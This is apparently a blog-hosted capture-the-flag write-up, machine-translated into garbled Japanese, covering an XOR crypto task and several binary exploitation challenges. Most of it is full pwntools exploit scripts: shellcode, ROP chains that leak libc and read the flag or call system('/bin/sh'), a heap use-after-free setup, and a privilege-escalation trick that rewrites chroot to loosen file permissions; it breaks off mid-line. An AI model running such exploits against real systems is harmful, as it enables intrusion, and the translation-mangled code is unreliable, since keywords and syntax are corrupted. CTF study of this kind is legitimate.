Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863549812

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

crypto

xor

1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール(1つの暗号化のみ)を使用してデコードできます

キーは模倣です

uemkso1oxfl812.png

フラグを復号化します

オンライン復号化

bpeomgpgwsm814.png

またはスクリプト:#ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex(ciphertext)#キーが「キー」であると仮定すると、キー=b'mimic '#xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes( 'utf-8')print( 'utf-8')print(plaintext)1049983-20241029164628741-2140565532.jpg

pwn

ezcode

JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。

PWNインポートから *

JSONをインポートします

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

io=process(pwnfile)

#io=remote()

elf=elf(pwnfile)

libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

#libc=elf( './libc.so.6')

shellcode='' '

Sal Edi、12

MOV DX、7

MOV AX、10

syscall

CDQ

Xor Eax、Eax

MOV ESI、ECX

Xor EDI、EDI

syscall

'' '

shellcode1=asm(shellcode)

print( 'len-'、len(shellcode1))

payload1={

'shellcode': shellcode1.hex()

}

io.sendlineafter( 'input:'、json.dumps(payload1)を入力してください)

shellcode=asm( '' ''

MOV RDI、0x999800d

Xor ESI、ESI

XOR RDX、RDX

Mov Rax、2

syscall

MOV RDI、Rax

MOV RSI、0x9998000+0x300

MOV EDX、0x40

Xor Eax、Eax

syscall

MOV EDI、1

MOV RSI、0x9998000+0x300

Mov Rax、1

syscall

'' ')

io.sendline(b './flag \ x00 \ x00 \ x00'+シェルコード)

io.Interactive()

signin_revenge

スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW

PWNインポートから *

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

#io=process(pwnfile)

io=remote( 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true)

elf=elf(pwnfile)

libc=elf( './libc.so.6')

def debug():

gdb.attach(io)

一時停止()

pop_rdi=0x00000000401393

puts_got=elf.got ['puts']

puts_plt=elf.plt ['puts']

main_adr=elf.symbols ['main']

#デバッグ()

pay=b'a '*0x108+flat(pop_rdi、puts_got、puts_plt、main_adr)

io.sendlineafter( '移動してpwn!\ n'、支払い)

puts_adr=u64(io.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=puts_adr-libc.sym ['puts']

pop_rdx=libc_base +0x00000000142c92

pop_rsi=libc_base +0x00000000002601f

pop_rbp=libc_base +0x0000000000226c0

pop_rax=libc_base +0x0000000000036174

leave_ret=0x4012ee

read=0x04012d6#0x130

BSS=0x404000+0x800

flag_adr=bss+0x98

op=libc_base + libc.symbols ['open']

re=libc_base + libc.symbols ['read']

wr=libc_base + libc.symbols ['write']

pay=b'a '*0x100+p64(bss-8)+flat(pop_rax、bss、read)

io.sendafter( '移動してpwn!\ n'、支払い)

#デバッグ()

orw=flat(pop_rdi、flag_adr、pop_rsi、0、op、

pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、

pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr)+b './flag \ x00'

io.sendline(orw)

io.interactive()

qwen

2b3cf38193ce3750b491914d11006e83

MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。

次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します

0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム( "/bin/sh")を実行してシェルを取得します

exp

PWNインポートから *

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true)

#p=process( 'pwn1')

elf=elf( 'pwn1')

libc=elf( 'libc.so.6')

#debug( 'b *$ rebase(0x1022)\ n')

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

pl=b'a '*0x8 + p16(0x1508)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111')

SLA(b'administrator key \ n '、str(0x6b8b4567))

file_name=b '/proc/self/maps'

sla(b'logged in!\ n '、file_name)

rl(b'デバッグ情報は次のとおりです\ n ')

pro_base=int(r(12)、16)

rl(b'libc.so.6 \ n ')

libc_base=int(r(12)、16)-0x1e7000

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

#0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

#0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

rdi=libc_base +0x00000000002164f

システム、binsh=get_sb()

ret=libc_base +0x00000000000000008aa

one_gadget=libc_base +0x00000000000004ee21

PL=P64(LIBC_BASE +0x000000000000D10BE) + P64(ONE_GADGET) + P64(RET) + P64(RDI) + P64(BINSH) + P64(システム)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

#一時停止()

inter()、そして電力をエスカレートします。

ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。

例えば

/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です

Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。

signin

追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。

PWNインポートから *

ctypesをインポートします

ctypesからインポート *

コンテキスト(arch='amd64'、os='linux'、log_level='debug')

file_name='./vuln'

libc=elf( './libc.so.6')

#libc=ctypes.cdll( '/lib/x86_64-linux-gnu/libc.so.6')

#libc.srand.argtypes=[ctypes.c_uint]

Li=Lambda X : Print( '\ x1b [01; 38; 5; 214m' + str(x) + '\ x1b [0m')

ll=lambda x : print( '\ x1b [01; 38; 5; 1m' + str(x) + '\ x1b [0m')

#context.terminal=['tmux'、 'splitw'、 '-H']

debug=1

debug:の場合

r=remote( 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true)

else:

r=process(file_name)

libcc=cdll.loadlibrary( './libc.so.6')

libcc.srand(libcc.time(0))

elf=elf(file_name)

def dbg():

gdb.attach(r)

一時停止()

def dbgg():

raw_input()

r.send( 'rbp')

範囲(100):のIの場合

a=libcc.rand()%100+1

r.sendafter( '認証コード: \ n'、p64(a)を入力)

r.sendafter( '\ n'、p32(1))

#dbg()

r.sendafter( 'index: \ n'、p32(0))

r.sendafter( 'note: \ n'、b'a '*0x10)

睡眠(0.5)

r.send(b'a '*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013c0)))

libc_base=u64(r.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

openn=libc_base+libc.sym ['open']

read=libc_base+libc.sym ['read']

書き込み=libc_base+libc.sym ['write']

rdi=libc_base +0x0000000000023b6a

rsi=libc_base +0x00000000002601f

rdx=libc_base +0x00000000142c92

印刷(hex(libc_base))

r.send(b'a '*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013c0))

r.send( 'flag')

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404200)+p64(0x4013cf))

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404300)+p64(0x4013cf))

睡眠(0.5)

#dbg()

R.Send(b'flag \ x00 \ x00 \ x00 \ x00 '+p64(RDI)+P64(0x404200)+P64(RSI)+P64(0)+P64(RDX)+P64(0)+P64(Openn)+P64 (RDI)+P64(3)+P64(RSI)+P64(0x4041A0)+P64(RDX)+P64(0x30)+P64(READ)+P64(RDI)+P64(RDI)+P64(1)+P64(書き込み)))

R.Interactive()

ゲストブック

メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです

PWNインポートから *

sysをインポートします

context.log_level='debug'

context.arch='amd64'

#libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

libc=elf( './libc.so.6')

フラグ=1

flag3360の場合

p=remote( 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true)

else:

p=process( './pwn')

SA=Lambda S、N : P.Sendafter(S、N)

SLA=Lambda S、N : P.SendlineFter(S、N)

SL=Lambda S : P.Sendline(s)

sd=lambda s : p.send(s)

rc=lambda n : p.recv(n)

ru=lambda s : p.recvuntil(s)

ti=lambda : p.Itteractive()

漏れ=ラムダ名、addr :log.success(name+' - '+hex(addr))

def dbg():

gdb.attach(p)

一時停止()

DEF CMD(選択):

ru( '')

SL(str(選択))

def add(index、size):

CMD(1)

ru( 'index')

SL(str(index))

ru( 'サイズ')

SL(str(size))

def編集(index、content):

CMD(2)

ru( 'index')

SL(str(index))

ru( 'content')

SD(コンテンツ)

def delete(index):

CMD(3)

ru( 'index')

SL(str(index))

def show(index):

CMD(4)

ru( 'index')

SL(str(index))

追加(0,0x520)

追加(1,0x500)

追加(2,0x510)

削除(0)

追加(3,0x568)

削除(2)

show(0)

mainarean=u64(ru(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=mainarean-0x21b110

編集(0、b'a '*0x10)

show(0)

ru(b'a '*0x10)

heap_base=u64(p.recv(6).ljust(8、b '\ x00'))-0x290

編集(0、P64(メイレアン)*2)

free_hook=libc_base+libc.sym ['__ free_hook']

ogs=[0xe3afe、0xe3b01,0xe3b04]

og=libc_base+ogs [1]

puts_io_all=libc_base + libc.sym ['_ io_list_all']

wfile=libc_base + libc.sym ['_ io_wfile_jumps']

addr=libc.symbols ['puts']+libc_base

fake_io_addr=heap_base +0x1720

lock=0x3ed8b0+libc_base

pop_rdi=libc_base + next(libc.search(asm( 'pop rdi; ret;'))))))

pop_rsi=libc_base + next(libc.search(asm( 'pop rsi; ret;')))))

pop_rdx_r12=libc_base + next(libc.search(asm( 'pop rdx; pop R12)